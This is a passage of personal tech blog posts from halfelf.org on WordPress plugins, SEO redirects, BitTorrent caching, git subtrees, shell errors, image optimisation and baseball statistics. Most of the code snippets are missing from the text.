It looks cool, and I can change the site\_src and site\_title…. What I can’t do is change the output. I mean, I can’t remove that ‘source and title’ at all. I can’t change the default so it’s always ‘halfelf.org’ instead of my placeholder site. And worse? I can’t turn it OFF so other people can’t embed my stuff. I mean, what if I don’t want them to embed my warez? This means if someone looks at my slides, clicks the slick plus-sign, they get the code for embedding *and* they get my slides.ipstenu.org link. Now if you go there, you get redirected, but that’s not the point! Why have this customizable if I can’t… customize it? There are no settings options save entering my API key and allowing for tracking (which I turned off). Why not have an option for customizing output!
A final minor note with SEO Slides, the title is also wonky. This may be because I’m running Trunk but I get this weird `title` thing in my … well … title:

Not really super happy about that. I did report it though. Also I reported that I ‘ran out’ of uploads of PDFs. In the free version, you get three free PDF conversions. I did it once. I tried a second time and it said “Upload Error: Your subscription has exhausted the use of this service.” So I filed tickets for both of those on November 14th.
On the good side? These guys are WAY responsive to my enquiry about something (which they changed promptly), and helpful when I said “DaFUQ?” about embedding.
I’m not sure if I want to use it going on. I may end up using it for embedding, though, but it won’t be a replacement for PowerPoint for me any time soon. Now I just have to decide if I want to pony up the $200 a year just to convert my PDFs. There are enough ‘little’ things missing that frustrate me, like no quick-edit if you just want to change titles, no categories, no tags, no main ‘slides’ page (that is – the custom post type has no archive page).
Of note! Since this initial review was written, but before it was posted, SEO Slides upgraded me, so I’ll have to come back and re-review once I bang on the Premium Version: Is it worth it? Since, clearly, the brunt of why I’m ‘meh’ about this is the presenter mode, I may fall in love with Premium! The software’s only been out for two months at the time I wrote this, there’s a LOT of room for growth and I’m probably just being really really impatient.
As this moves from Beta to Live, I expect a lot of great things from SEO Slides. Do I love them? Not yet. But I like them a hell of a lot more than I like PowerPoint, with that sole exception. The presenter view. God help ’em, no idea how you’d tackle that! Can’t wait to see how they do it.
**Categories:** How It Is
**Tags:** plugins, review, slides, wordpress
---
### [Hot Hands And Playoffs](https://halfelf.org/2016/hot-hands-playoffs/)
**Published:** October 28, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** On math, probability, baseball, and the outlier Joe DiMaggio.
**Content:**
Today I’m wandering off topic into a world of baseball and statistics.
My family have been Cleveland Indians fans since they came to the United States and settled in the city. My grandmother was an accountant, my father a mathematician, and I a web developer who works on software used by 26% of the Internet. Give or take. I’m also a third (and probably final) generation Clevelander. Yes, I root for my home team.
October of 2016 marked the first time since 2007 that Cleveland was in the American League Championship Series (ALCS). In the intervening years, my family had all migrated to iPhones and iMessage, allowing us to converse in real time across two continents, two countries, four time-zones, and five cities.
My father, [the mathematician and risk analyst](https://woody.com), kept a close watch on Nate Silver’s FiveThirtyEight project, especially the [MLB Predictions](http://projects.fivethirtyeight.com/2016-mlb-predictions/), as Mr. Silver has been quite spot on for things for a while, understanding the implications of probability and chance.
On October 18th, FiveThirtyEight gave Cleveland a 53% chance of winning the ALCS game 4, a 94% chance of making the World Series, and a 38% chance of winning it all for the first time since 1948. The time Cleveland won before that? 1920. Not quite Cubs level of history, but it’s been a long enough time than my grandmother Taffy never got to see them win a third time (she was born July 7, 1920).
The game on the 17th was nothing short of incredible. The starting pitcher was yanked after 2 outs because his cut pinky was dripping blood. There are, you see, a bevy of incredible rules about what pitchers can and cannot wear. More than the normal player. And we’re talking about a sport than demands all players use a glove that has colors only within a PANTONE® color set lighter than the current 14-series. These guys are nuts. And one of the rules is no bandages on the pitchers’ hands.
> a pitcher’s person cannot include any unessential or distracting thing (including jewelry, adhesive tape, or a batting glove), especially on his arm, wrist, hand, or fingers.
Bauer’s 11 stitches in his pinky split and was incredibly nasty, so he was replaced. Cleveland used seven pitchers, pretty much their entire relief bullpen, to get through the game. My family began to argue the intelligence of the move. Instead of using the rookie Merritt to start game 4, possible win-it-all game, Manager Terry Francona decided to start his ‘ace,’ Kluber.
To understand this, you have to start with the odd fact that Cleveland is down three of their best pitchers to injuries. This is including Drone Boy Bauer. Such a situation is rare for the playoffs, if not unheard of. That means they are more reliant than ever on their bullpen, so using every single pitcher possible on Monday meant they would all be a little tired on Tuesday. And Kluber would be starting 3 days rest when a pitcher normally gets 4 or 5.
Clearly Francona was banking on the team *not* needing to use the bullpen much on Game 4, but why would he make that decision knowing that the odds of winning on Tuesday were insanely low. As my dad said:
> Winning 7 games straight is an outlier. They won 6 in a row twice, of course the 14 streak, 4 games three times. I’m betting they will lose the next two in Toronto.
Then he started emailing us all homework.
Before we get to the math, let’s look at the baseball logic. The reason you would play Bauer is that the odds are Cleveland will lose on the 18th, and a good manager would know that and bet on it, like my father. Teams winning 7 games in a row is crazy. It’s rare. It’s risky. By playing Kluber, an experienced pitcher, you solve two problems. First, Merritt is a rookie. Him losing will have a deep psychological impact on the young guy. Kluber can take a hit and keep going. Second, it means if Cleveland does win, Kluber will be well rested for the World Series. If Game 4 is lost, Merritt will pitch the safer Game 5.
The psychology of math is exactly why no one would discount the Cleveland Indians winning seven games in a row in the post season, however.
> \[…\] what Terry is seeing is momentum, the intangible. You gotta measure the odds with numbers, but making good decisions goes beyond the odds … beyond just the odds. Like CoCo’s diving catch.
This is where the homework comes into play. Nine papers about hot streaks later, I came to the conclusion I had always felt had to be true. There is no such thing as a winning streak. They are nothing more than standard deviations from the mean. Models of the math have told us that there is only one event in baseball that has happened outside of the frequency of said models. Everything, the longest runs of losses and wins, are exactly as they should be and happen as often as they ought.
Except for one: Joe DiMaggio. Joltin’ Joe’s 56–game hitting streak in 1941 doesn’t make any sense. As we read in [Streak of Streaks by Jay Gould](http://www.nybooks.com/articles/1988/08/18/the-streak-of-streaks/), in order to make it mathematically probably to have a run of 50 games with a hit, we should have had four batters with a lifetime average of .400, and 52 with .350 or higher over 1000 games. Instead, three players have achieved a batting average over .350 and not one has managed .400 lifetime.
You’re thinking “But Ty Cobb!” right now, and guess what? His lifetime is .367, followed by Hornsby at .358, and Shoeless Joe Jackson brings up the rear at .356 for his short career.
DiMaggio’s streak does not make sense.
Most MLB records we consider to be [unbreakable](https://en.wikipedia.org/wiki/List_of_Major_League_Baseball_records_considered_unbreakable) are only that way due to changes in the way the game is played. Pitchers no longer play complete games on the regular, nor do they start 60+ games a season. The weirdness of DiMaggio is that his numbers are off the charts for that year, and actually the entirety of MLB history.
[The Hot Hand: A New Approach to an Old “Fallacy”](http://www.sloansportsconference.com/content/the-hot-hand-a-new-approach-to-an-old-fallacy/). Notice the quotes? The theory behind the Sloan paper is that the Hot Hand (or streak) is a fallacy because we’ve always been working under bad assumptions. To whit:
> However, prior research hinges on the assumption that player shot selection is random, independent of player-perceived hot or coldness. Said differently, it assumes that players will take the same types of shots, with the same level of defensive coverage, regardless of whether they have just made or missed three shots in a row. We find this assumption difficult to believe – if players have been shooting well, it seems logical that they would begin to attempt more difficult shots and opposing defenses would begin to cover them more tightly. This would potentially counteract the Hot Hand effect.
To make this more obvious to the conversation at hand, basketball is not baseball and men are not potatoes. Baseball is a rarity in sports. The defense has control of the ball and, barring injury, everyone who plays will have an at-bat (designated hitter rules aside). Basketball has no promise that everyone who plays will have a chance to shoot a basket, or even touch a ball. Baseball hitting streaks come down to one person versus a hundred. The batter versus every pitcher they face. Provided they’re not walked, the batter remains in control of their destiny.
All of this is quite fanciful. There are hundreds of articles, like [Phil Birnbaum’s quest for evidence of the Hot Hand effect](http://blog.philbirnbaum.com/2013/07/is-there-evidence-for-hot-hand-effect.html) and [Tangotiger’s Sabremetric blog on the impact of the Zone on streaks](http://tangotiger.com/index.php/site/article/ensberg-and-tango-speak-on-being-locked-in). The best we can say is ‘Streaks exist, but generally they do so within the expected norm of percentages.’
None of this considers the psychological impact of a streak. The longer a streak goes on, the more stress and nerves are put on a player. At the same time, the more ease is given a player, as the expectation of winning becomes a short-term norm.
Per FiveThirtyEight, the Cleveland Indians had a 53% chance of winning Game 4 of the ALCS on October 18, 2016. The Epstein family gave it much less of a chance. We were right.
**Categories:** How It Is
**Tags:** baseball, math, stats
---
### [Torrenting Cache](https://halfelf.org/2016/torrenting-cache/)
**Published:** October 31, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Caching with torrents. It flows messily.
**Content:**
There’s a new cache in town, [CacheP2P](http://www.cachep2p.com/).
The basic concept is that you can use BitTorrent to seed your cache across the world, making it even faster for everyone. Setting it up is fairly simple. Configuring it is not. At least not in an automated fashion.
Traditional web browsing is a direct connection between user and server. Traditional caching is done by having the server (or a proxy of the server) create a static copy of the page and display that. In the case of WordPress and any other dynamic CMS, that works by taking the load off of PHP and MySQL having to generate a new page on every visit.
By using BitTorrent, this is changed so that you would instead be getting a cached copy not from a server but from someone else’s computer. If you and I were on the same network, I might get the page from you instead of the server. That sounds really weird, doesn’t it? Via two javascript files combine to signal the torrent’s API, and a third file uses the unique page hash to determine freshness. Keep your eye on that last part, it’s what makes the idea of a plugin for WordPress such a pain.
To get the content for that last file, you have to look at your page in dev tools to grab the security hash:
On Safari it looks like this:
[](https://halfelf.org/wp-content/uploads/sites/2/2016/10/hash-exampler.png)
Now if it works, and you can see an example on the [cachep2p.com domain](http://cachep2p.com), it would show results similar to this:
[](https://halfelf.org/wp-content/uploads/sites/2/2016/10/Screen-Shot-2016-10-20-at-10.51.35-AM.png)
This did not actually work for me on Safari. At all. It was fine on Chrome, but Safari never served up the cache which is odd.
My first concern was about cache contamination. That is, if someone downloads the page and messes with it, could they have my site show content I didn’t want it to show? By using hashes, this is minimized. I have a file that defines the valid hashes, and if the copy doesn’t match, it downloads my content, not the bad one.
However the greater concern is that of accidentally releasing content I shouldn’t. Take this example. I accidentally publish something I shouldn’t, like the plan to tear down the Berlin Wall. Without caching, I can quickly redact it and if Google didn’t scrape my page, it’s like it never happened. With caching (and Google…) the bad content (my destruction plans) remain out there unless I visit the cache provider and flush things. If you’ve ever used a 3rd party proxy like Cloudflare to cache your content, this is the situation when you update your CSS files and have to go force them to refresh.
With the BitTorrent situation this becomes worse, because the cache is in the hands of the masses. If you were a politician and I your rival, I would have someone constantly visiting your site and saving the cache. Then I could go through it and look for accidental leaks.
Now of course this could happen today. I could set up a simple content scraper and have it ping your site every so often to save the data. You could, in turn, block my IP, and I would retaliate by setting up a Tor connection to do it from obfuscated IPs. The difference here is that you’re actually *encouraging* me to cache your data with this plugin.
An additional concern is the dynamic aspect of WordPress. The only way to grab the hash right now is to view the page. That hash will change when I save a page. In fact, it might change on every page load, in some situations. I didn’t get too far into testing at this point, since I realized that in order for this to work I would have to load a page, grab a hash, edit a file, save that file up on the server, and then it would cache…
That would be terrible on WordPress. For this to work on any large site, the generation of that hash file would have to be automated. No matter if the site is dynamic or not, to make people manually do that is preposterous. A vaguely WordPress solution I dreamed up was to somehow catch the cache has as the page is saved, store it in a post-meta value, and then use WordPress to generate a ‘fake’ page with the URL and the hash for the cache tool to use.
It might be easier to do that via something like WP Super Cache of W3TC, and have it save the file as it saves the cached page (and point to the static page instead of the dynamic one) but even then, the rapid changing of WordPress content would make it difficult for a cache to seed far enough out.
Right now, I think this is something that might only be useful for a small, mostly static, site.
**Categories:** How It Works
**Tags:** cache, development, torrent
---
### [Not Spilling SEO Juice](https://halfelf.org/2016/not-spilling-seo-juice/)
**Published:** October 26, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not spilling your juice is important to keep your SEO ranking.
**Content:**
Once in a while I still get people who ask me to do things for them. Some offer to pay, most don’t, but a common thread lately has been “How do I redirect and not screw up my SEO?”
They tend to ask it nicer, but that’s what they mean. And to be honest, the question surprises me in 2016. I’ve read email after email about people who swear “I renamed my domain/page and now my SEO crapped out!” And to each and every one I ask “Did you redirect it properly?”
I think what’s happening is that the problem is so clear cut, people are overthinking. That is, bar none, the biggest mistake I feel anyone ever makes. They overcomplicate a problem and mire themselves in the hell of debugging. I do it all the time.
Let me tell you a story. When we started LezWatchTV, we had some pretty non-SEO friendly URLs. Our taxonomy for TV stations was “show-tags” and it went on and on with worse and worse names. Finally I sat down and drew out a map of what the ‘best’ SEO names would be for what I needed, and it was very short:
- TV Stations: `stations`
- Character Traits: `cliches`
- Show Tropes: `tropes`
- Characters: `characters`
- Shows: `shows`
Five items. And to do the recdirects, I put this in the `.htacess` file:
That’s all I needed. I took all the old, bad names and I redirected them to the good names. But I had to throw in an added wrinkle. I’d originally decided shows would have cliches and characters tropes, but I realized that was wrong and flipped them a week later. That meant I had things like `/cliche/law-enforcement` which had to be redirect to `/trope/law-enforcement` and for that, there was nothing to be done save a massive section like this:
This goes on for 24 character clichés and 18 show tropes. It had to be done manually.
Now let’s ask the big question. Did I lose *any* SEO Juice by doing this?
Not a drop. Because I used a 301 redirect and I used it properly (calling it *well* above my redirect for WordPress). This is exactly what Google’s webmaster docs tell you to do:
> If you need to change the URL of a page as it is shown in search engine results, we recommend that you use a server-side 301 redirect. This is the best way to ensure that users and search engines are directed to the correct page. The 301 status code means that a page has permanently moved to a new location.
Still not sure? Here’s what Joost (of Yoast SEO) says when asked if you should use a [301 or a 302 redirect](https://yoast.com/ask-yoast-301-or-302-redirect/):
> The answer is very simple. You should never use a 301 redirect if you ever want to use that url again. So if you’re redirecting one url to another and you’re sure that the old url is never going to be used again, it’s a 301. If you’re not sure, it’s a 302. That’s it. Good luck!
This is, again, straightforward. If you’re never using the page again (which I’m not), you use the 301 redirect.
By the way, if you’re using Yoast SEO Premium, then you should still have access to their redirect tool. Personally I feel that’s a change that should be on the server level, not a plugin.
Okay, so what happens if you forget to do this? Your SEO will tank. However this can be fixed! Again, if you’re using Yoast SEO and you set up Google Analytics and webmaster tools with it, you have a handy Search Console which will let you see what the errors are. If you don’t, but you use Google (and really this is where it’s quite helpful), you’ll go to your Search Console > Crawl > Crawl Errors page and check out what’s listed.
Remember to check desktop and smart-phone pages. As long as you keep those old URLs redirecting properly to their new home, your juice will be safe and sound.
**Categories:** How To
**Tags:** seo, website
---
### [stdin: is not a tty](https://halfelf.org/2016/stdin-not-tty/)
**Published:** October 24, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making annoying errors shut up.
**Content:**
That was the error.
`stdin: is not a tty`
I use rsync to make a backup of my files via this shell script that runs every time I log in to my laptop:
It’s a nice little script. It downloads everything into a folder called `example.dev` which I then use with [DesktopServer](https://serverpress.com) to have a copy of my site. The database? That’s handled by another file which pulls down the DB backups from Amazon S3 (something built in to cPanel) which I may cover at a later point.
Today though, let’s talk about what that error is, what it means, how we fix it, and why that fix works.
The error is caused by having `mesg` at the top of a `.bashrc` file on my server. In my case, the line is not in the user’s file, but the root file. The message, on login, tells you when your last login was, where it was from, and what the IP was. It also tells you how many failed logins happened since your last login, a report that amuses me when I sudo into root now and then.
Why I get the error is because when I log in via rsync, the message is trying to show on the rsync output, which can’t parse it, and thus errors. The fix means I need to tell it *not* to show the output. And to do that we put this at the top of the `.bashrc` file:
Another option would be this:
It depends on your flavor of Linux of course.
The final question we have with this is *why* does it work?
The second fix is simple. It checks for tty, which is Teletype. If you’ve ever wondered how deaf people use the phone, it’s via a teletype machine. For the purposes of computers, it just means “This is text and we are going to talk in text interactively.” The tty setting is handled by your terminal of choice. If it doesn’t get tty, the server will just not show the message.
The first fix is a little more weird. PS1 stands for Prompt String 1 and is one of the prompts you get when logging in. Normally it just shows username and password. Using `-z` is checking if the prompt is interactive or not. If not, return (aka exit out and do nothing else).
**Categories:** How It Works
**Tags:** shell, unix
---
### [United States Patent: 8010458](https://halfelf.org/2011/united-states-patent-8010458/)
**Published:** September 2, 2011
**Author:** Ipstenu (Mika Epstein)
**Content:**
> An online social network is provided in which members of the online social network control who may view their personal information and who may communicate with them. The members control who may view their personal information by setting a visibility preference. A member may not view another member’s full personal profile if the measure of relatedness between the two is greater than the visibility preference of the other member. The members also control who may communicate with them by setting a contactability preference. A member may not communicate with another member if the measure of relatedness between the two is greater than the contactability preference of the other member.
>
> via [United States Patent: 8010458](http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&p=1&u=%2Fnetahtml%2FPTO%2Fsearch-bool.html&r=1&f=G&l=50&co1=AND&d=PTXT&s1=facebook.ASNM.&OS=AN/facebook).
It’s official. The US patent office is useless.
**Categories:** How It Is
**Tags:** administration, social media, software, website
---
### [Git Subtrees](https://halfelf.org/2016/git-subtrees/)
**Published:** October 19, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Branching the modules into trees works a lot better and solves a long standing wish of mine.
**Content:**
I have a project in [Hugo](https://gohugo.io) where I wanted the content to be editable by anyone but the theme and config to remain mine. In this way, anyone could add an article to a new site, but only I could publish. Sounds smart, right? The basic concept would be this:
- A private repository, on my own server, where I maintained the source code (themes etc)
- A public repository, on GitHub or GitLab, where I maintained the content
Taking into consideration how Hugo stores data, I had to rethink how I set up the code. By default, Hugo has two main folders for your content: `content` and `data`. Those folders are at the main (root) level of a Hugo install. This is normally fine, since I deploy by having a post-deploy hook that pushes whatever I check in at Master out to a temp folder and then runs a Hugo build on it. I’m still using [this deploy method](https://halfelf.org/2015/deploying-hugo/) because it lets me push commit without having to build locally first. Obviously there are pros and cons, but what I like is being able to edit my content and push and have it work from my iPad.
Now, keeping this setup, in order to split my repository I need to solve a few problems.
## Contain Content Collectively
No matter what, I need to have *one* and only one location for my content. Two folders is fine, but it has to be within a single folder. In order to do this, it’s fairly straightforward.
In the `config.toml` file, I set two defines:
Then I moved the files in `content` to `content/posts` and moved `data` to `content/data`. I ran a quick local test to make sure it worked and, since it did, pushed that change live. Everything was fine. Perfect.
## Putting Posts Publicly
The second step was making a public repository ‘somewhere.’ The question of ‘where’ was fairly simple. You have a lot of options, but for me it boils down to GitLab or GitHub. While GitHub is the flavor du jour, GitLab lets you make a private repository for free, but both require users to log in with an account to edit or make issues. Pick whichever one you want. It doesn’t matter.
What does matter is that I set it up with two folders: `posts` and `data`
That’s right. I’m replicating the *inside* of my content folder. Why? Well that’s because of the next step.
## Serving Subs Simply
This is actually the hardest part, and led me to complain that every time I use Submodules in Git, I remember why I hate them. I really *want* to love Submodules. The idea is you check out a module of a specific version of another repository and now you have it. The problem is that updates are complicated. You have to update the Submodule separately and if you work with a team, and one person doesn’t, there’s a possibility you’ll end up pushing the old version of the Submodule because it’s not version controlled in your git repository.
It gets worse if you have to solve merge conflicts. Just run away.
On the other hand, there’s a tool called Subtree, which two of my twitter friends introduced me to after I tweeted my Submodule complaint. Subtree uses a merge trick to get the same result of a Submodule, only it actually stores the files in the main repository, and then merges your changes *back* up to it’s own. Subtrees are not a silver bullet, but in this case it was what I needed.
Checking out the subtree is easy enough. You tell it where you want to store the repository (a folder named `content`) and you give it the location of your remote, the branch name, and voila:
Since typing in the full path can get pretty annoying, it’s savvy to add the subtree as a remote:
Which means the add command would be this:
## Maintaining Merge Manuverability
Once we have all this in, we hit a new problem. The subtree is not synced by default.
When a subproject is added, it is not automatically kept in sync with the upstream changes so you have to pull it in like this:
When you have new code to add, run this:
That makes the process for a new article a little extra weird but it does work.
## Documenting Data Distribution
Here’s how I update in the real world:
1. Edit my local copy of the content folder in the hugo-library repository
2. Add and commit the changed content with a useful message
3. Push the subtree
4. Push the main repository
Done.
If someone else has a pull request, I would need to merge it (probably directly on GitHub) and then do the following:
1. Pull from the subtree
2. Push to the main repository
My weird caveat is that updating via Coda can get confused as it doesn’t always remember what repository I want to be on, but since I do all of my pushes from command line, that really doesn’t bother me much.
**Categories:** How To
**Tags:** deployment, git, hugo
---
### [Yoast SEO: Selective Stopwords](https://halfelf.org/2016/yoast-seo-selective-stopwords/)
**Published:** October 10, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Custom Post Types, stopwords, globals, weird errors, and selectively applying filters.
**Content:**
Stopwords are those small words that should be removed from URLs. You know like ‘a’ and ‘and’ or ‘or’ and so on and so forth. They make for ungainly and long URLs and really you should remove them.
If you happen to use Yoast SEO for WordPress, and you want to disable stopwords, there’s a simple way about that. Go to SEO -> Advanced and disable the feature for stopwords.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/cleanup-permalinks.png)
If you want to kill it with fire and prevent everyone on your site from being able to activate them ever, you can toss this into an MU plugin.
The first filter makes the stopwords kick back nothing, and the remove action stops the process from running. You probably only need the second one, but better safe than sorry, I always say.
But … what if you *want* stop words removed, but you don’t want them removed on certain custom post types? Welcome to my world! I wanted to remove them from two post types only.
Enter my frankencode:
There was something funny to this, by the way. Originally I didn’t have the `$pagenow` code. Didn’t need it. But when I left it out, Yoast SEO broke with a weird error. It refused to load any of the sub-screens for the admin settings!
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/cannot-load.png)
After some backpacking of “Okay, was it working before…?” I determined it was the call for `global $typenow;` – a global that isn’t used at all in the Yoast SEO source code that I could find. Still, by making my code bail early if it’s not even on a page it should be on, I made the rest of the WP Admin faster, and that’s a win for everyone.
**Categories:** How To
**Tags:** plugins, seo, wordpress
---
### [Review: Spark Love for Your Gmail](https://halfelf.org/2016/review-spark-gmail/)
**Published:** October 14, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Set fire to your email. In a good way. Spark delivers the heat.
**Content:**
[Moving my email to Google Apps](https://halfelf.org/2016/moving-cpanel-email-gmail/) has, thus far, been interesting. I don’t regret it, and consolidating multiple emails down to three was a good choice. The learning curve of adding in email aliases so I can mail from all the accounts I use, and the limits of Gmails shitty filters so everything is funneled to the right place, has been tricky.
As I mentioned before, I have a ton of aliases. Adding them in on the Google Admin back end (just renamed G Suite) is weird but easy enough. To be able to email from them, you have to also add them in via the normal Gmail web app. It’s tucked under Settings > Accounts, and under “Send mail as”, click Add another email address.
But if you don’t want to use the web app (and I don’t), Gmail can be a bit of a turd. It doesn’t work great with the desktop Mail.app, and it works terribly with iOS’s mail. Gmail and Apple are just at odds with how email works. They both want to control your experience and redefine email in different ways. Frankly I prefer the Mac way, but that’s personal preference.
What is a universal problem is that I needed a way to email from my aliases, and if you set up email as Google Mail in the iOS mail app … you can’t.
Yes, you read that right. It is flat out impossible to set up email aliases for a Google mail account. If you want to use the iOS mail app and Goggle email *and* aliases, you have to set up Gmail as an IMAP app, and that’s sort of a shit show in the making. Gmail’s IMAP implementation is non-standard, to put it simply. Among other things, you can only use 15 connections to IMAP per account. If I had the desktop app open and my iPhone and iPad, weird shit happened.
Now, there are solutions. You could use the Gmail app, but it sucks and doesn’t have an Apple Watch component. Also it’s ugly. Excuse me. It’s basic. You could also use Google’s Inbox app, but you have to use Inbox and the email filters aren’t as robust.
This leads us to our final solution. [Spark](https://sparkmailapp.com).
This app was something I’d played with before, as it had email alerts on the Apple Watch, and I wanted to get pinged for some work emails while updating all DreamPress installs over at DreamHost. Sadly, the fault of the app not meeting that need is Gmail, again, which has no way to filter properly and send an alert only when an email meets specific criteria.
What Spark *does* do is everything else. It has a Watch component, it syncs between my iPad and iPhone, it looks like an iOS app, it acts like a Google app, it pulls in the features people rave about Inbox, and it has email aliases that are simple to set up. Whew. The only thing it doesn’t do is show me a count for unread messages in my folders.
I can live with that.
**Categories:** How It Is
**Tags:** app, email, ios, review
---
### [Optimizing Images](https://halfelf.org/2016/optimizing-images/)
**Published:** October 12, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Smashing images into smaller and smaller images for faster and faster loading.
**Content:**
After running a regeneration of my images (due to changing things on my theme) my Gtmetrix score dropped from an A to a D! In looking at why, I saw it was telling me my images should be optimized.
Best to get on that, eh?
The easiest way is to install jpegoptim on the server:
And then to run a compression on my images:
Anyone fancy running that on a few thousand images? Hell no. We have a couple options here. One is to go into each folder and run this:
The other is to sit in the image root folder and run this:
I picked `--strip-all` since that removes all the image meta data. While I would never want to consider that on a photoblog, I needed to compress everything and, for some reason, unless I stripped that data I didn’t get smaller sizes. For this case, it wasn’t an issue.
What about PNGs? Use optipng (`$ yum install optipng`) and run this:
Going forward, I used Homebrew to install those locally and compress my images better, though I’m usually pretty good about remember that part. Well. I thought I was.
**Categories:** How To
**Tags:** images, website
---
### [Google Knowledge Blindspot](https://halfelf.org/2016/google-knowledge-blindspot/)
**Published:** October 5, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Google, like the US government, has a difficult time understanding what a 'person' is sometimes.
**Content:**
With the new release of Yoast SEO 3.6, I decided to test out their new walk-through setup.
As someone who’s been studying SEO to one degree or another since the 1990s, SEO in and of itself is no great mystery to me. The bare bones of how it works, how you make good content, is understandable. But what Yoast SEO does, and what I like it for, is it makes it obvious to people without my experience what is needed. It also takes the generally good SEO of WordPress (and a good theme) and optimizes it for the myriad, constant changes that Google does.
For that, the walk-through is a wonderful idea. I like it. I think new users will love it. I think it’ll lessen the barrier to those people who are told “You need a website!” but no one is willing to (or able to) sit with them and help them get started.
Initially I was super impressed. Yoast had clearly studied the aspects of walk-throughs that had worked and that didn’t, lifting pages from other complex plugins that needed to be used by, perhaps, non-technical savvy people.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/site-type.png)
Being asked what *kind* of site I was running was brilliant. For the purposes of this test, I decided to use my community/wiki/library – LezWatchTV. And right away I ran into a problem.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/company-person.png)
The tool wanted me to say if I was a company or a person.
Well … Neither. I’m a community site. Or maybe a group? Either way, the two designations didn’t really apply properly. Where was “Other”?
This couldn’t be Yoast making a boneheaded maneuver, I realized. Few people know better than Joost and his crew what WordPress is used for. They’re smart people. They’ve seen more of the Internet than most of the rest of us and they know well how it’s used. So could the screwup be Google or Schema.org?
I went to Schema.org to look up how they would classify the site, and determined that [DataCatalog](http://schema.org/DataCatalog) was the most appropriate. Alright, knowing there was a good classification, I looked back at Google’s Knowledge Graph.
Google’s Knowledge Graph is a weird thing. It’s Google’s attempt to figure out how to answer your questions. You know how you can type in “How do I do X?” into Google and you get that interesting formatted answer?
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/bakeapie.png)
That’s from their Knowledge Graph. But more importantly, so is this:
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/root.png)
The more you dig into it, the more you realize that the only boxes like that are for people or companies. So the breakdown is that Google has not yet figured out how to flag non-people non-companies.
This means my ultimate question of ‘what I am?’ has become a little more existential than I’d wanted, and a little simple. It’s not a person, therefore it must be a company. And while that is entirely, totally, daftly incorrect, it’s also less incorrect that a person.
Thanks, Google.
**Categories:** How It Works
**Tags:** google, plugins, seo, wordpress
---
### [Per-Site MU Plugins](https://halfelf.org/2016/per-site-mu-plugins/)
**Published:** October 3, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A different way to per-site Multisite in MU Plugins.
**Content:**
A great many moons ago, I handled my per-site MU plugins in a [very straight forward way](https://halfelf.org/2013/adding-per-site-multisite-options/). I made a `halfelf-functions.php` file and checked for the blog ID with `if ( $blog_id == 2 ) {...}` and off I went.
Now? I do this:
I have a folder called ‘functions’ and in there I have a file for every site that needs it’s own functions. This also let me clean up some rather old code I wasn’t using anymore, but it also let me add in code to include local CSS. Since I version control my `mu-plugins` folder, this allowed me to move my custom CSS from Jetpack to a normal CSS file.
Why did I need to do that? Jetpack CSS [doesn’t allow the fill param for CSS](https://github.com/Automattic/jetpack/issues/2133). Their current justification is that it’s advanced enough that people should be editing the theme. And mine is “But … why?” SVGs are becoming more and more popular, after all, and a number of plugins are allowing them. That means to style your SVGs, you’ll want to use CSS. And you can’t with Jetpack, which means you’re back to the old hell of editing your theme’s CSS. And that was something I wanted to avoid.
You’d *think* I could do this:
But that actually didn’t work. No matter what I did, the result of `$helf_site_url['host']` was *empty*. I know, right? What’s up with that.
What’s up is me not thinking about how functions ‘know’ what they know.
Inside the function, you see, it can’t see non-globals. So it wouldn’t work. If you’re not using Multisite, you don’t need to use `$blog_id`, but I don’t know why you’d want to use this if you weren’t using Multisite. The other silly moment was remembering that `plugin_dir_path()` would give me `/home/user/public_html/wp-content/mu-plugins` which would make the URL a relative URL, and not at all what I wanted. But using `plugins_url()` would give me an absolute path.
Perfect.
**Categories:** How To
**Tags:** mu-plugins, multisite, wordpress
---
### [Adding Per Site Multisite Options](https://halfelf.org/2013/adding-per-site-multisite-options/)
**Published:** September 23, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You want options? We got options! Different ways to handle per-site functions on a Multisite network!
**Content:**
johnc- said in IRC the other day, regarding the use of get\_option API for WordPress “our standard practice is to use get\_option to enable site specific features, if the feature needs to be unavailable for other sites then it gets broken into a separate plugin for clarity”
So to explain this for those who blinked a little we need some examples, and really this depends what you’re writing.
We got to this point in the conversation while folks were watching my [“Don’t Use WordPress Multisite” presentation from WordCamp SF](https://halfelf.org/2013/wcsf-video-dont-use-wordpress-multisite/ "WCSF Video: Don’t Use WordPress Multisite"). During the presentation, I mentioned that generally, when I want to write a function for a specific site on Multisite, I wrap it around a ‘If site 1, then …’ and put it in it’s own plugin file in mu-plugins. That leaves me with files like `halfelf-functions.php` so if I ever split the site out (see? I’m always thinking ahead) I know what file to copy.
**But** that’s not the only way about it. Another way is to put all the functions in a file, and then wrap the actual filters and actions around a get\_option call. Why would I want to do this instead of a separate function file? The question of portability comes up primarily. Exporting site options is not the easiest thing in the world on a Multisite, but there are cases, like my [Capital H Dangit!](https://halfelf.org/2012/capital-h-dangit/) function, where this would make sense. In general, I always want DreamHost to have a capital H, so since 99% of my sites have that on, I could, instead, use an option, since if I ever moved the one site that *doesn’t* use it, I just won’t bring the function over!
Currently have wrapped that function around an ‘if site 2, then don’t run’ check, which works fine. But if I wanted to move that to options, it would go like this:
This is pretty basic. It adds an option called `helf_capital_H_dangit`, auto-loads, and defaults to on for everyone. That was the easy part. The hard part is determining how to control it.
One option is an interface where I can check a box on, say, General Settings > Writing > Formatting (right under the smilies check box would be perfect), but since I knew this was something I was going to want to control as the super-admin (that is, I *don’t* want the other people on my network to turn it off), I went in to the back end of my site at `/wp-admin/network/site-info.php?id=2` (since this is site #2) and searched for ‘Helf’

